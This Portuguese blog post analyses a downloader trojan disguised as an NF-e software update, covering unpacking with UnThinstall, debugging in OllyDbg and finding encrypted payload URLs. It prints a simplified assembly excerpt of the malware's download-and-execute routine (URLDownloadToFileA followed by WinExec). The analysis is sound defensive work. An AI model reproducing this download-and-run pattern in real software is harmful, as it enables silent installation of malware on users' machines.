Antes de tentar ver o que havia dentro do EXE, o rodei no RDG Packer Detector para verificar se havia a presença de algum compactador de executável (packer PE).

O RDG Packer Detector não acusou nada.


Já o Exeinfo PE acusou que o arquivo estava compactado com o “Thinstall 2.4x – 2.5x”.


Sabendo que o unpacker genérico do PEiD conseguia descompactar esse packer, conforme pude constatar em outro artigo, submeti o arquivo a ele.

Para minha surpresa o PEiD retornou o erro “Debugee exited...” e não conseguiu retirar a proteção Thinstall.


Possivelmente o malware deveria ter alguma proteção para o unpacker genérico do PEiD e ele não conseguiu rodar.

Lembrei então da dica Lamer :) que o programa Exeinfo PE exibiu quando mostrou a proteção Thinstall, que era para procurar pelo “unthinstall”.

Depois de muito pesquisar no Google encontrei em um site japonês, eu acho, a ferramenta feita para tirar a proteção do packer Thinstall. Fiz o download da mesma e submeti o malware a ela.


Obtive resultado positivo, agora o malware estava livre do packer. O UnThinstall atribuiu ao EXE “unpacked” o nome “AtualizacaoEmissorNF-e5.4.1.exe.dump”

Agora era a hora de abrir nosso arquivo suspeito no OllyDbg para buscar informações úteis.

Ao abrir o arquivo descompactado no OllyDbg já próximo ao Entry Point foi possível visualizar algumas strings suspeitas. Geralmente quando encontramos dentro de um malware uma cadeia de caracteres que forma uma sequência de letras e números aleatórios pode-se suspeitar que seja algum tipo de obfuscação de código ou criptografia.

Foi isso que notei ao abrir o arquivo, havia algumas strings com esse padrão e logo após elas um caminho de arquivo executável no Windows.

Veja a figura abaixo:


Destacadas na cor laranja no lado direito da imagem estão as strings criptografadas. Destacados em azul ainda na direita estão os caminhos de arquivos executáveis. Agora no lado esquerda da imagem destacado de vermelho é possível notar um padrão de comandos que se repetem.

A string criptografada é atribuída ao registrador EAX, em seguida é chamada a função 0044C558, mais abaixo novamente é atribuído ao EAX outra string criptografada e novamente é chamada a função 0044C558. Após isso é chamada a função URLDownloadToFileA URLMON.dll que faz parte da API do Windows. E por fim é chamada a função WinExec da API kernel32.dll.

Abaixo um trecho simplificado do código para facilitar o entendimento:

MOV EAX, 0044CA84 ; ASCII “GpfSLqbEH4zNKrnpUNDqPM...”
CALL 0044C558
MOV EAX, 0044CA64 ; ASCII “Q7HqS3elBtTtToviQMvhRsviQM...”
CALL 0044C558
CALL URLMON.URLDownloadToFileA
CALL kernel32.WinExec ; “C:\WINDOWS\system\Winbdn.exe”

Esse padrão se repete quatro vezes no código.


Agora ficou fácil imaginar o que esse trecho do programa faz. Passa duas strings criptografadas como parâmetro para a função 0044C558 descriptografar, após a descriptografia possivelmente é retornada uma URL onde o malware então faz download, salva na pasta “system” dentro de “WINDOWS” e executa com a função WinExec.

Certo, mas temos que provar se realmente é isso que acontece. Uma forma simples que pensei foi posicionar um breakpoint no final da quarta repetição desse padrão para verificar o que essas funções retornam.

Coloquei o breakpoint no offset 0044C9E6, para isso no OllyDbg selecionei a linha e apertei F2. Então só apertar F9 para rodar o programa e verificar o resultado. O programa parou a execução no meu breakpoint e...


Conforme imaginado, eram mesmo URLs de mais quatro malwares que o programa faria download, destacado em vermelho da parte inferior direita da imagem.

A partir daí se iniciaria uma nova etapa da investigação, que seria realizar manualmente o download dessas quatro pragas e verificar através da engenharia reversa o que elas faziam.

Isso contarei no próximo artigo dentro de poucos dias, e já adianto que consegui resultados significativos em um desses arquivos, aguardem!

Comentário

Foi possível notar quão trabalhoso é o processo de engenharia reversa de malwares, os fraudadores estão sempre inventando novas técnicas para dificultar o trabalho da investigação. Para descobrir apenas quatro URLs foram necessárias algumas horas de trabalho.

Para quem está iniciando nessa área gostaria de deixar claro que a engenharia reversa não é a única forma de análise de malwares, é apenas mais uma ferramenta à disposição dos investigadores.

Demonstrei a técnica empregada nesse caso para que possamos nos familiarizar mais com os malwares, com assembly, debuggers, packers, etc. Porém no caso específico desse artigo para descobrir as mesmas informações seria mais rápido e fácil rodar um sniffer de rede tipo o tcpdump e depois verificar quais endereços o malware acessou.

Existem inúmeras formas de analisar malwares, conhecê-las e usá-las em conjunto é a chave para o sucesso na investigação.

É isso aí!

Leia a continuação dessa investigação aqui.

Ronaldo Lima
Related Posts Plugin for WordPress, Blogger...